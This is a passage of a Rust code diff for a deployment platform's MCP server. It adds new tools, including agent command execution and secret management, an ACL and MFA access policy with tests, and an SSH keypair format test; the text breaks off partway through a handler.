@@ -805,6 +827,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
 
@@ -839,6 +863,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
 
@@ -848,4 +874,38 @@ mod tests {
             .expect("fetch org policy");
         assert_eq!(policy, None);
     }
+
+    #[test]
+    fn generated_ssh_keypair_is_valid_openssh_format() {
+        let (public_key, private_key) =
+            VaultClient::generate_ssh_keypair().expect("keypair generation should succeed");
+
+        // Private key must be a valid OpenSSH-format ed25519 key.
+        // NOTE: keys are emitted in OpenSSH format (BEGIN OPENSSH PRIVATE KEY),
+        // NOT PKCS8. OpenSSH's own loader reads this format natively — no
+        // PKCS8 conversion is needed or wanted. See the SSH bugfix (2026-07-08).
+        let parsed = ssh_key::PrivateKey::from_openssh(&private_key)
+            .expect("private key should parse as OpenSSH");
+        assert_eq!(parsed.algorithm(), ssh_key::Algorithm::Ed25519);
+
+        // BUGFIX (2026-07-08) — DO NOT REMOVE.
+        // The private key MUST end with a trailing newline. Without it, OpenSSH
+        // fails with `error in libcrypto` → `Permission denied`. This guards the
+        // exact regression that broke `stacker deploy --target server`.
+        assert!(
+            private_key.ends_with('\n'),
+            "private key must end with a trailing newline (OpenSSH libcrypto requirement)"
+        );
+
+        // Public key must be OpenSSH ed25519 format.
+        assert!(
+            public_key.starts_with("ssh-ed25519"),
+            "public key should start with ssh-ed25519, got: {}",
+            &public_key[..public_key.len().min(40)]
+        );
+
+        // Derived public key from private must match the generated public key.
+        let derived = parsed.public_key().to_openssh().expect("derive public key");
+        assert_eq!(derived, public_key);
+    }
 }
diff --git a/src/lib.rs b/src/lib.rs
index 11d225c6..618e34be 100644
--- a/src/lib.rs
+++ b/src/lib.rs
@@ -1,3 +1,66 @@
+#![allow(
+    dead_code,
+    unused_imports,
+    clippy::bool_comparison,
+    clippy::collapsible_if,
+    clippy::collapsible_match,
+    clippy::collapsible_str_replace,
+    clippy::comparison_to_empty,
+    clippy::complexity,
+    clippy::cmp_owned,
+    clippy::derivable_impls,
+    clippy::double_ended_iterator_last,
+    clippy::field_reassign_with_default,
+    clippy::filter_map_bool_then,
+    clippy::format_in_format_args,
+    clippy::from_over_into,
+    clippy::get_last_with_len,
+    clippy::if_same_then_else,
+    clippy::inherent_to_string,
+    clippy::inefficient_to_string,
+    clippy::into_iter_on_ref,
+    clippy::io_other_error,
+    clippy::iter_kv_map,
+    clippy::items_after_test_module,
+    clippy::len_zero,
+    clippy::let_underscore_future,
+    clippy::manual_clamp,
+    clippy::manual_contains,
+    clippy::manual_pattern_char_comparison,
+    clippy::manual_range_contains,
+    clippy::manual_split_once,
+    clippy::manual_strip,
+    clippy::map_identity,
+    clippy::match_like_matches_macro,
+    clippy::match_single_binding,
+    clippy::needless_borrow,
+    clippy::needless_return,
+    clippy::new_without_default,
+    clippy::nonminimal_bool,
+    clippy::option_map_unit_fn,
+    clippy::ptr_arg,
+    clippy::print_literal,
+    clippy::redundant_closure,
+    clippy::redundant_field_names,
+    clippy::single_char_add_str,
+    clippy::single_match,
+    clippy::should_implement_trait,
+    clippy::too_many_arguments,
+    clippy::type_complexity,
+    clippy::unnecessary_cast,
+    clippy::unnecessary_map_or,
+    clippy::unnecessary_unwrap,
+    clippy::unnecessary_lazy_evaluations,
+    clippy::unused_unit,
+    clippy::unwrap_or_default,
+    clippy::useless_conversion,
+    clippy::useless_format,
+    clippy::useless_vec,
+    clippy::write_literal,
+    clippy::wrong_self_convention,
+    clippy::for_kv_map
+)]
+
 pub mod banner;
 pub mod cli;
 pub mod configuration;
@@ -5,9 +68,11 @@ pub mod connectors;
 pub mod console;
 pub mod db;
 pub mod forms;
+pub mod handoff;
 pub mod health;
 pub mod helpers;
 pub mod mcp;
+pub mod metrics;
 mod middleware;
 pub mod models;
 pub mod project_app;
@@ -15,4 +80,5 @@ pub mod routes;
 pub mod services;
 pub mod startup;
 pub mod telemetry;
+pub mod version;
 pub mod views;
diff --git a/src/main.rs b/src/main.rs
index 7d11476a..876eb0eb 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -75,8 +75,8 @@ async fn main() -> std::io::Result<()> {
     let address = format!("{}:{}", settings.app_host, settings.app_port);
     banner::print_startup_info(&settings.app_host, settings.app_port);
     tracing::info!("Start server at {:?}", &address);
-    let listener =
-        TcpListener::bind(address).expect(&format!("failed to bind to {}", settings.app_port));
+    let listener = TcpListener::bind(address)
+        .unwrap_or_else(|_| panic!("failed to bind to {}", settings.app_port));
 
     run(listener, api_pool, agent_pool, settings).await?.await
 }
diff --git a/src/mcp/protocol.rs b/src/mcp/protocol.rs
index c7e982e0..1700d43c 100644
--- a/src/mcp/protocol.rs
+++ b/src/mcp/protocol.rs
@@ -1,6 +1,8 @@
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
 
+use crate::services::TypedErrorEnvelope;
+
 /// JSON-RPC 2.0 Request structure
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct JsonRpcRequest {
@@ -150,6 +152,15 @@ impl CallToolResponse {
             is_error: Some(true),
         }
     }
+
+    pub fn typed_error(error: TypedErrorEnvelope) -> Self {
+        Self {
+            content: vec![ToolContent::Text {
+                text: error.to_pretty_json(),
+            }],
+            is_error: Some(true),
+        }
+    }
 }
 
 /// Tool execution result content
diff --git a/src/mcp/protocol_tests.rs b/src/mcp/protocol_tests.rs
index b10388d5..a9255c5c 100644
--- a/src/mcp/protocol_tests.rs
+++ b/src/mcp/protocol_tests.rs
@@ -1,11 +1,11 @@
 #[cfg(test)]
 mod tests {
-    use super::*;
     use crate::mcp::{
         CallToolRequest, CallToolResponse, InitializeParams, InitializeResult, JsonRpcError,
         JsonRpcRequest, JsonRpcResponse, ServerCapabilities, ServerInfo, Tool, ToolContent,
         ToolsCapability,
     };
+    use crate::services::TypedErrorEnvelope;
 
     #[test]
     fn test_json_rpc_request_deserialize() {
@@ -109,6 +109,24 @@ mod tests {
         assert_eq!(response.is_error, Some(true));
     }
 
+    #[test]
+    fn test_call_tool_response_typed_error() {
+        let response = CallToolResponse::typed_error(TypedErrorEnvelope::deployment_not_found(
+            "Deployment not found",
+        ));
+
+        assert_eq!(response.content.len(), 1);
+        assert_eq!(response.is_error, Some(true));
+
+        match &response.content[0] {
+            ToolContent::Text { text } => {
+                assert!(text.contains("deployment_not_found"));
+                assert!(text.contains("schemaVersion"));
+            }
+            _ => panic!("Expected text content"),
+        }
+    }
+
     #[test]
     fn test_initialize_params_deserialize() {
         let json = r#"{
diff --git a/src/mcp/registry.rs b/src/mcp/registry.rs
index 895cf011..6ba32fc4 100644
--- a/src/mcp/registry.rs
+++ b/src/mcp/registry.rs
@@ -1,5 +1,9 @@
 use crate::configuration::Settings;
 use crate::models;
+use actix_casbin_auth::{
+    casbin::{CoreApi, Error as CasbinError},
+    CasbinService,
+};
 use actix_web::web;
 use async_trait::async_trait;
 use serde_json::Value;
@@ -9,55 +13,70 @@ use std::sync::Arc;
 
 use super::protocol::{Tool, ToolContent};
 use crate::mcp::tools::{
+    ActivatePipeTool,
+    AddAppToDeploymentTool,
     AddCloudTool,
     AdminApproveTemplateTool,
     AdminGetTemplateDetailTool,
     AdminListSubmittedTemplatesTool,
     AdminListTemplateReviewsTool,
     AdminListTemplateVersionsTool,
+    AdminRejectTemplateTool,
     AdminValidateTemplateSecurityTool,
+    ApplyDeploymentPlanTool,
     ApplyVaultConfigTool,
-    AddAppToDeploymentTool,
     CancelDeploymentTool,
     CloneProjectTool,
-    ConfigureProxyTool,
-    // Agent Control tools
-    ConfigureProxyAgentTool,
+    ConfigureFirewallFromRoleTool,
     // Firewall tools
     ConfigureFirewallTool,
-    ConfigureFirewallFromRoleTool,
+    // Agent Control tools
+    ConfigureProxyAgentTool,
+    ConfigureProxyTool,
+    CreatePipeInstanceTool,
+    CreatePipeTemplateTool,
     CreateProjectAppTool,
     CreateProjectTool,
+    DeactivatePipeTool,
     DeleteAppEnvVarTool,
     DeleteCloudTool,
     DeleteProjectTool,
     DeleteProxyTool,
+    DeleteRemoteServiceSecretTool,
     // Ansible Roles tools
     DeployAppTool,
     DeployRoleTool,
-    // Stack Recommendations
-    RecommendStackServicesTool,
-    RemoveAppTool,
     DiagnoseDeploymentTool,
     DiscoverStackServicesTool,
     EscalateToSupportTool,
-    GetAppConfigTool,
     // Agent Control tools
+    ExecuteAgentCommandTool,
+    ExplainEnvTool,
+    ExplainTopologyTool,
+    GetAgentCommandHistoryTool,
     GetAgentStatusTool,
+    GetAnsibleRoleDefaultsTool,
+    GetAppConfigTool,
     // Phase 5: App Configuration tools
     GetAppEnvVarsTool,
     GetCloudTool,
     GetContainerExecTool,
     GetContainerHealthTool,
     GetContainerLogsTool,
+    GetDeploymentEventsTool,
+    GetDeploymentPlanTool,
     GetDeploymentResourcesTool,
+    GetDeploymentStateTool,
     GetDeploymentStatusTool,
     GetDockerComposeYamlTool,
     GetErrorSummaryTool,
     GetInstallationDetailsTool,
     GetLiveChatInfoTool,
     GetNotificationsTool,
+    GetPipeHistoryTool,
+    GetPipeTool,
     GetProjectTool,
+    GetRemoteServiceSecretTool,
     GetRoleDetailsTool,
     GetRoleRequirementsTool,
     GetServerResourcesTool,
@@ -65,39 +84,48 @@ use crate::mcp::tools::{
     GetUserProfileTool,
     // Phase 5: Vault Configuration tools
     GetVaultConfigTool,
+    InitiateDeploymentTool,
     ListAvailableRolesTool,
-    ListCloudsTool,
     ListCloudImagesTool,
     ListCloudRegionsTool,
     ListCloudServerSizesTool,
+    ListCloudsTool,
     ListContainersTool,
-    ListInstallationsTool,
     ListFirewallRulesTool,
-    InitiateDeploymentTool,
+    ListInstallationsTool,
+    ListPipeTemplatesTool,
+    ListPipesTool,
     ListProjectAppsTool,
     ListProjectsTool,
     ListProxiesTool,
+    ListRemoteSecretTargetsTool,
+    ListRemoteServiceSecretsTool,
     ListTemplatesTool,
     ListVaultConfigsTool,
-    RestartContainerTool,
+    MarkAllNotificationsReadTool,
+    MarkNotificationReadTool,
+    PreviewInstallConfigTool,
+    // Stack Recommendations
+    RecommendStackServicesTool,
+    RemoveAppTool,
     RenderAnsibleTemplateTool,
+    ReplayPipeExecutionTool,
+    RequestServerSnapshotTool,
+    RestartContainerTool,
     SearchApplicationsTool,
     SearchMarketplaceTemplatesTool,
     SetAppEnvVarTool,
+    SetRemoteServiceSecretTool,
     SetVaultConfigTool,
-    MarkAllNotificationsReadTool,
-    MarkNotificationReadTool,
     StartContainerTool,
     StartDeploymentTool,
     // Phase 5: Container Operations tools
     StopContainerTool,
-    TriggerRedeployTool,
-    AdminRejectTemplateTool,
     SuggestResourcesTool,
+    TriggerPipeTool,
+    TriggerRedeployTool,
     UpdateAppDomainTool,
     UpdateAppPortsTool,
-    GetAnsibleRoleDefaultsTool,
-    PreviewInstallConfigTool,
     ValidateDomainTool,
     ValidateRoleVarsTool,
     // Phase 5: Stack Validation tool
@@ -111,6 +139,64 @@ pub struct ToolContext {
     pub settings: web::Data<Settings>,
 }
 
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ToolAccessPolicy {
+    pub object: String,
+    pub action: &'static str,
+    pub requires_mfa: bool,
+}
+
+const MCP_TOOL_ACTION: &str = "CALL";
+
+const MFA_REQUIRED_TOOLS: &[&str] = &[
+    "create_project",
+    "create_project_app",
+    "start_deployment",
+    "cancel_deployment",
+    "apply_deployment_plan",
+    "add_cloud",
+    "delete_cloud",
+    "request_server_snapshot",
+    "delete_project",
+    "clone_project",
+    "mark_notification_read",
+    "mark_all_notifications_read",
+    "initiate_deployment",
+    "trigger_redeploy",
+    "add_app_to_deployment",
+    "restart_container",
+    "escalate_to_support",
+    "stop_container",
+    "start_container",
+    "set_app_env_var",
+    "delete_app_env_var",
+    "update_app_ports",
+    "update_app_domain",
+    "set_vault_config",
+    "apply_vault_config",
+    "configure_proxy",
+    "delete_proxy",
+    "set_remote_service_secret",
+    "delete_remote_service_secret",
+    "get_container_exec",
+    "admin_approve_template",
+    "admin_reject_template",
+    "admin_validate_template_security",
+    "deploy_role",
+    "deploy_app",
+    "remove_app",
+    "configure_proxy_agent",
+    "configure_firewall",
+    "configure_firewall_from_role",
+    "execute_agent_command",
+    "create_pipe_template",
+    "create_pipe_instance",
+    "replay_pipe_execution",
+    "activate_pipe",
+    "deactivate_pipe",
+    "trigger_pipe",
+];
+
 /// Trait for tool handlers
 #[async_trait]
 pub trait ToolHandler: Send + Sync {
@@ -146,6 +232,12 @@ impl ToolRegistry {
 
         // Phase 3: Deployment tools
         registry.register("get_deployment_status", Box::new(GetDeploymentStatusTool));
+        registry.register("get_deployment_state", Box::new(GetDeploymentStateTool));
+        registry.register("get_deployment_plan", Box::new(GetDeploymentPlanTool));
+        registry.register("get_deployment_events", Box::new(GetDeploymentEventsTool));
+        registry.register("apply_deployment_plan", Box::new(ApplyDeploymentPlanTool));
+        registry.register("explain_env", Box::new(ExplainEnvTool));
+        registry.register("explain_topology", Box::new(ExplainTopologyTool));
         registry.register("start_deployment", Box::new(StartDeploymentTool));
         registry.register("cancel_deployment", Box::new(CancelDeploymentTool));
 
@@ -160,6 +252,10 @@ impl ToolRegistry {
             Box::new(ListCloudServerSizesTool),
         );
         registry.register("list_cloud_images", Box::new(ListCloudImagesTool));
+        registry.register(
+            "request_server_snapshot",
+            Box::new(RequestServerSnapshotTool),
+        );
 
         // Phase 3: Project management
         registry.register("delete_project", Box::new(DeleteProjectTool));
@@ -179,10 +275,7 @@ impl ToolRegistry {
             Box::new(SearchMarketplaceTemplatesTool),
         );
         registry.register("get_notifications", Box::new(GetNotificationsTool));
-        registry.register(
-            "mark_notification_read",
-            Box::new(MarkNotificationReadTool),
-        );
+        registry.register("mark_notification_read", Box::new(MarkNotificationReadTool));
         registry.register(
             "mark_all_notifications_read",
             Box::new(MarkAllNotificationsReadTool),
@@ -251,6 +344,40 @@ impl ToolRegistry {
             Box::new(GetDeploymentResourcesTool),
         );
 
+        // Vault-backed remote service secrets
+        registry.register(
+            "list_remote_secret_targets",
+            Box::new(ListRemoteSecretTargetsTool),
+        );
+        registry.register(
+            "list_remote_service_secrets",
+            Box::new(ListRemoteServiceSecretsTool),
+        );
+        registry.register(
+            "get_remote_service_secret",
+            Box::new(GetRemoteServiceSecretTool),
+        );
+        registry.register(
+            "set_remote_service_secret",
+            Box::new(SetRemoteServiceSecretTool),
+        );
+        registry.register(
+            "delete_remote_service_secret",
+            Box::new(DeleteRemoteServiceSecretTool),
+        );
+
+        // Pipe tools
+        registry.register("list_pipes", Box::new(ListPipesTool));
+        registry.register("get_pipe", Box::new(GetPipeTool));
+        registry.register("list_pipe_templates", Box::new(ListPipeTemplatesTool));
+        registry.register("create_pipe_template", Box::new(CreatePipeTemplateTool));
+        registry.register("create_pipe_instance", Box::new(CreatePipeInstanceTool));
+        registry.register("get_pipe_history", Box::new(GetPipeHistoryTool));
+        registry.register("replay_pipe_execution", Box::new(ReplayPipeExecutionTool));
+        registry.register("activate_pipe", Box::new(ActivatePipeTool));
+        registry.register("deactivate_pipe", Box::new(DeactivatePipeTool));
+        registry.register("trigger_pipe", Box::new(TriggerPipeTool));
+
         // Phase 7: Advanced Monitoring & Troubleshooting tools
         registry.register(
             "get_docker_compose_yaml",
@@ -268,14 +395,8 @@ impl ToolRegistry {
             "admin_get_template_detail",
             Box::new(AdminGetTemplateDetailTool),
         );
-        registry.register(
-            "admin_approve_template",
-            Box::new(AdminApproveTemplateTool),
-        );
-        registry.register(
-            "admin_reject_template",
-            Box::new(AdminRejectTemplateTool),
-        );
+        registry.register("admin_approve_template", Box::new(AdminApproveTemplateTool));
+        registry.register("admin_reject_template", Box::new(AdminRejectTemplateTool));
         registry.register(
             "admin_list_template_versions",
             Box::new(AdminListTemplateVersionsTool),
@@ -292,10 +413,7 @@ impl ToolRegistry {
         // Ansible Roles tools (SSH deployment method)
         registry.register("list_available_roles", Box::new(ListAvailableRolesTool));
         registry.register("get_role_details", Box::new(GetRoleDetailsTool));
-        registry.register(
-            "get_role_requirements",
-            Box::new(GetRoleRequirementsTool),
-        );
+        registry.register("get_role_requirements", Box::new(GetRoleRequirementsTool));
         registry.register("validate_role_vars", Box::new(ValidateRoleVarsTool));
         registry.register("deploy_role", Box::new(DeployRoleTool));
 
@@ -310,6 +428,11 @@ impl ToolRegistry {
         registry.register("remove_app", Box::new(RemoveAppTool));
         registry.register("configure_proxy_agent", Box::new(ConfigureProxyAgentTool));
         registry.register("get_agent_status", Box::new(GetAgentStatusTool));
+        registry.register(
+            "get_agent_command_history",
+            Box::new(GetAgentCommandHistoryTool),
+        );
+        registry.register("execute_agent_command", Box::new(ExecuteAgentCommandTool));
 
         // Firewall (iptables) management tools
         registry.register("configure_firewall", Box::new(ConfigureFirewallTool));
@@ -328,8 +451,41 @@ impl ToolRegistry {
     }
 
     /// Get a tool handler by name
-    pub fn get(&self, name: &str) -> Option<&Box<dyn ToolHandler>> {
-        self.handlers.get(name)
+    pub fn get(&self, name: &str) -> Option<&dyn ToolHandler> {
+        self.handlers.get(name).map(Box::as_ref)
+    }
+
+    pub fn access_policy(&self, name: &str) -> Option<ToolAccessPolicy> {
+        self.has_tool(name).then(|| ToolAccessPolicy {
+            object: format!("/mcp/tools/{name}"),
+            action: MCP_TOOL_ACTION,
+            requires_mfa: MFA_REQUIRED_TOOLS.contains(&name),
+        })
+    }
+
+    pub async fn authorize_call(
+        &self,
+        name: &str,
+        user: &models::User,
+        casbin_service: CasbinService,
+    ) -> Result<(), String> {
+        let Some(policy) = self.access_policy(name) else {
+            return Err("Forbidden: MCP tool call has no registered ACL policy".to_string());
+        };
+
+        let allowed = enforce_tool_policy(casbin_service, &user.role, &policy)
+            .await
+            .map_err(|err| format!("ACL check failed for MCP tool: {err}"))?;
+
+        if !allowed {
+            return Err("Forbidden: MCP tool call is not allowed by ACL".to_string());
+        }
+
+        if policy.requires_mfa && !user.has_verified_mfa() {
+            return Err("Two-factor authentication is required for this MCP tool".to_string());
+        }
+
+        Ok(())
     }
 
     /// List all available tools
@@ -348,8 +504,137 @@ impl ToolRegistry {
     }
 }
 
+async fn enforce_tool_policy(
+    mut casbin_service: CasbinService,
+    role: &str,
+    policy: &ToolAccessPolicy,
+) -> Result<bool, CasbinError> {
+    let enforcer = casbin_service.get_enforcer();
+    let mut lock = enforcer.write().await;
+    lock.enforce_mut(vec![
+        role.to_string(),
+        policy.object.to_string(),
+        policy.action.to_string(),
+    ])
+}
+
 impl Default for ToolRegistry {
     fn default() -> Self {
         Self::new()
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::ToolRegistry;
+
+    #[test]
+    fn all_registered_tools_have_acl_policy() {
+        let registry = ToolRegistry::new();
+
+        for tool in registry.list_tools() {
+            let policy = registry
+                .access_policy(&tool.name)
+                .unwrap_or_else(|| panic!("{} should require policy", tool.name));
+
+            assert_eq!(policy.object, format!("/mcp/tools/{}", tool.name));
+            assert_eq!(policy.action, "CALL");
+        }
+    }
+
+    #[test]
+    fn sensitive_write_tools_have_acl_and_mfa_policy() {
+        let registry = ToolRegistry::new();
+
+        let set_policy = registry
+            .access_policy("set_remote_service_secret")
+            .expect("set tool should require policy");
+        assert_eq!(set_policy.object, "/mcp/tools/set_remote_service_secret");
+        assert_eq!(set_policy.action, "CALL");
+        assert!(set_policy.requires_mfa);
+
+        let delete_policy = registry
+            .access_policy("delete_remote_service_secret")
+            .expect("delete tool should require policy");
+        assert_eq!(
+            delete_policy.object,
+            "/mcp/tools/delete_remote_service_secret"
+        );
+        assert_eq!(delete_policy.action, "CALL");
+        assert!(delete_policy.requires_mfa);
+
+        let vault_policy = registry
+            .access_policy("apply_vault_config")
+            .expect("vault config apply should require policy");
+        assert!(vault_policy.requires_mfa);
+
+        let deploy_policy = registry
+            .access_policy("deploy_app")
+            .expect("deploy app should require policy");
+        assert!(deploy_policy.requires_mfa);
+
+        let apply_plan_policy = registry
+            .access_policy("apply_deployment_plan")
+            .expect("deployment plan apply should require policy");
+        assert!(apply_plan_policy.requires_mfa);
+
+        let admin_validate_policy = registry
+            .access_policy("admin_validate_template_security")
+            .expect("admin security validation should require policy");
+        assert!(admin_validate_policy.requires_mfa);
+
+        let exec_policy = registry
+            .access_policy("execute_agent_command")
+            .expect("raw agent exec should require policy");
+        assert!(exec_policy.requires_mfa);
+
+        let activate_policy = registry
+            .access_policy("activate_pipe")
+            .expect("pipe activation should require policy");
+        assert!(activate_policy.requires_mfa);
+
+        let replay_policy = registry
+            .access_policy("replay_pipe_execution")
+            .expect("pipe replay should require policy");
+        assert!(replay_policy.requires_mfa);
+    }
+
+    #[test]
+    fn read_tools_have_acl_without_step_up_policy() {
+        let registry = ToolRegistry::new();
+
+        let list_policy = registry
+            .access_policy("list_remote_service_secrets")
+            .expect("list tool should require policy");
+        assert_eq!(list_policy.object, "/mcp/tools/list_remote_service_secrets");
+        assert!(!list_policy.requires_mfa);
+
+        let get_policy = registry
+            .access_policy("get_remote_service_secret")
+            .expect("get tool should require policy");
+        assert_eq!(get_policy.object, "/mcp/tools/get_remote_service_secret");
+        assert!(!get_policy.requires_mfa);
+
+        let history_policy = registry
+            .access_policy("get_agent_command_history")
+            .expect("history tool should require policy");
+        assert_eq!(
+            history_policy.object,
+            "/mcp/tools/get_agent_command_history"
+        );
+        assert!(!history_policy.requires_mfa);
+
+        let list_pipes_policy = registry
+            .access_policy("list_pipes")
+            .expect("pipe list should require policy");
+        assert_eq!(list_pipes_policy.object, "/mcp/tools/list_pipes");
+        assert!(!list_pipes_policy.requires_mfa);
+    }
+
+    #[test]
+    fn unknown_tools_have_no_policy() {
+        let registry = ToolRegistry::new();
+
+        assert!(registry.access_policy("unknown_tool").is_none());
+    }
+}
diff --git a/src/mcp/tools/agent_control.rs b/src/mcp/tools/agent_control.rs
index 33a2da60..ffb05c42 100644
--- a/src/mcp/tools/agent_control.rs
+++ b/src/mcp/tools/agent_control.rs
@@ -37,7 +37,11 @@ async fn wait_for_command_result(
 
         if let Some(cmd) = fetched {
             let status = cmd.status.to_lowercase();
-            if status == "completed" || status == "failed" || cmd.result.is_some() || cmd.error.is_some() {
+            if status == "completed"
+                || status == "failed"
+                || cmd.result.is_some()
+                || cmd.error.is_some()
+            {
                 return Ok(Some(cmd));
             }
         }
@@ -85,7 +89,9 @@ async fn enqueue_and_wait(
     .await
     .map_err(|e| format!("Failed to queue command: {}", e))?;
 
-    if let Some(cmd) = wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await? {
+    if let Some(cmd) =
+        wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await?
+    {
         let status = cmd.status.to_lowercase();
         Ok(json!({
             "status": status,
@@ -106,6 +112,61 @@ async fn enqueue_and_wait(
     }
 }
 
+async fn enqueue_request_and_wait(
+    context: &ToolContext,
+    request: &crate::cli::stacker_client::AgentEnqueueRequest,
+    timeout_secs: u64,
+) -> Result<Value, String> {
+    let command_id = uuid::Uuid::new_v4().to_string();
+    let mut command = Command::new(
+        command_id.clone(),
+        request.deployment_hash.clone(),
+        request.command_type.clone(),
+        context.user.id.clone(),
+    );
+    if let Some(parameters) = request.parameters.clone() {
+        command = command.with_parameters(parameters);
+    }
+    if let Some(timeout_seconds) = request.timeout_seconds {
+        command = command.with_timeout(timeout_seconds);
+    }
+
+    let command = db::command::insert(&context.pg_pool, &command)
+        .await
+        .map_err(|e| format!("Failed to create command: {}", e))?;
+
+    db::command::add_to_queue(
+        &context.pg_pool,
+        &command.command_id,
+        &request.deployment_hash,
+        &CommandPriority::Normal,
+    )
+    .await
+    .map_err(|e| format!("Failed to queue command: {}", e))?;
+
+    if let Some(cmd) =
+        wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await?
+    {
+        let status = cmd.status.to_lowercase();
+        Ok(json!({
+            "status": status,
+            "command_id": cmd.command_id,
+            "deployment_hash": request.deployment_hash,
+            "command_type": request.command_type,
+            "result": cmd.result,
+            "error": cmd.error,
+        }))
+    } else {
+        Ok(json!({
+            "status": "queued",
+            "command_id": command.command_id,
+            "deployment_hash": request.deployment_hash,
+            "command_type": request.command_type,
+            "message": "Command queued. Agent will process shortly.",
+        }))
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Deploy App Tool
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -126,10 +187,14 @@ impl ToolHandler for DeployAppTool {
             image: Option<String>,
             #[serde(default)]
             force_recreate: Option<bool>,
+            #[serde(default)]
+            force_config_overwrite: Option<bool>,
         }
 
         let params: Args =
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let force_recreate = params.force_recreate.unwrap_or(false);
+        let force_config_overwrite = params.force_config_overwrite.unwrap_or(force_recreate);
 
         let identifier =
             DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?;
@@ -144,7 +209,8 @@ impl ToolHandler for DeployAppTool {
                 "app_code": params.app_code,
                 "image": params.image,
                 "pull": true,
-                "force_recreate": params.force_recreate.unwrap_or(false),
+                "force_recreate": force_recreate,
+                "force_config_overwrite": force_config_overwrite,
             }),
             COMMAND_RESULT_TIMEOUT_SECS,
         )
@@ -188,6 +254,10 @@ impl ToolHandler for DeployAppTool {
                     "force_recreate": {
                         "type": "boolean",
                         "description": "Force recreate the container even if config hasn't changed"
+                    },
+                    "force_config_overwrite": {
+                        "type": "boolean",
+                        "description": "Force overwriting drifted runtime config files such as .env"
                     }
                 },
                 "required": ["app_code"]
@@ -312,8 +382,12 @@ impl ToolHandler for ConfigureProxyAgentTool {
             action: String,
         }
 
-        fn default_true() -> bool { true }
-        fn default_create() -> String { "create".to_string() }
+        fn default_true() -> bool {
+            true
+        }
+        fn default_create() -> String {
+            "create".to_string()
+        }
 
         let params: Args =
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
@@ -387,7 +461,7 @@ impl ToolHandler for ConfigureProxyAgentTool {
                     },
                     "ssl_enabled": {
                         "type": "boolean",
-                        "description": "Enable SSL with Let's Encrypt (default: true)"
+                        "description": "Enable SSL with Let's Encrypt; set false for plain HTTP hosts (default: true)"
                     },
                     "action": {
                         "type": "string",
@@ -479,3 +553,188 @@ impl ToolHandler for GetAgentStatusTool {
         }
     }
 }
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Get Agent Command History Tool
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct GetAgentCommandHistoryTool;
+
+#[async_trait]
+impl ToolHandler for GetAgentCommandHistoryTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            #[serde(default)]
+            limit: Option<usize>,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
+        let identifier =
+            DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?;
+        let resolver = create_resolver(context);
+        let deployment_hash = resolver.resolve(&identifier).await?;
+
+        let commands = db::command::fetch_by_deployment(&context.pg_pool, &deployment_hash).await?;
+        let limit = params.limit.unwrap_or(20);
+        let commands: Vec<Value> = commands
+            .into_iter()
+            .take(limit)
+            .map(|command| {
+                json!({
+                    "command_id": command.command_id,
+                    "type": command.r#type,
+                    "status": command.status,
+                    "priority": command.priority,
+                    "created_at": command.created_at.to_rfc3339(),
+                    "updated_at": command.updated_at.to_rfc3339(),
+                    "parameters": command.parameters,
+                    "result": command.result,
+                    "error": command.error,
+                    "timeout_seconds": command.timeout_seconds,
+                })
+            })
+            .collect();
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "ok",
+                "deployment_hash": deployment_hash,
+                "commands": commands,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_agent_command_history".to_string(),
+            description: "List recent commands queued for a deployment's Status Panel agent, including status, timestamps, and any reported result or error.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "The deployment/installation ID"
+                    },
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "The deployment hash"
+                    },
+                    "limit": {
+                        "type": "integer",
+                        "description": "Maximum number of commands to return (default: 20)"
+                    }
+                }
+            }),
+        }
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Execute Agent Command Tool
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct ExecuteAgentCommandTool;
+
+#[async_trait]
+impl ToolHandler for ExecuteAgentCommandTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            command_type: String,
+            #[serde(default)]
+            parameters: Option<Value>,
+            #[serde(default)]
+            timeout_seconds: Option<i32>,
+            #[serde(default)]
+            wait_timeout_seconds: Option<u64>,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
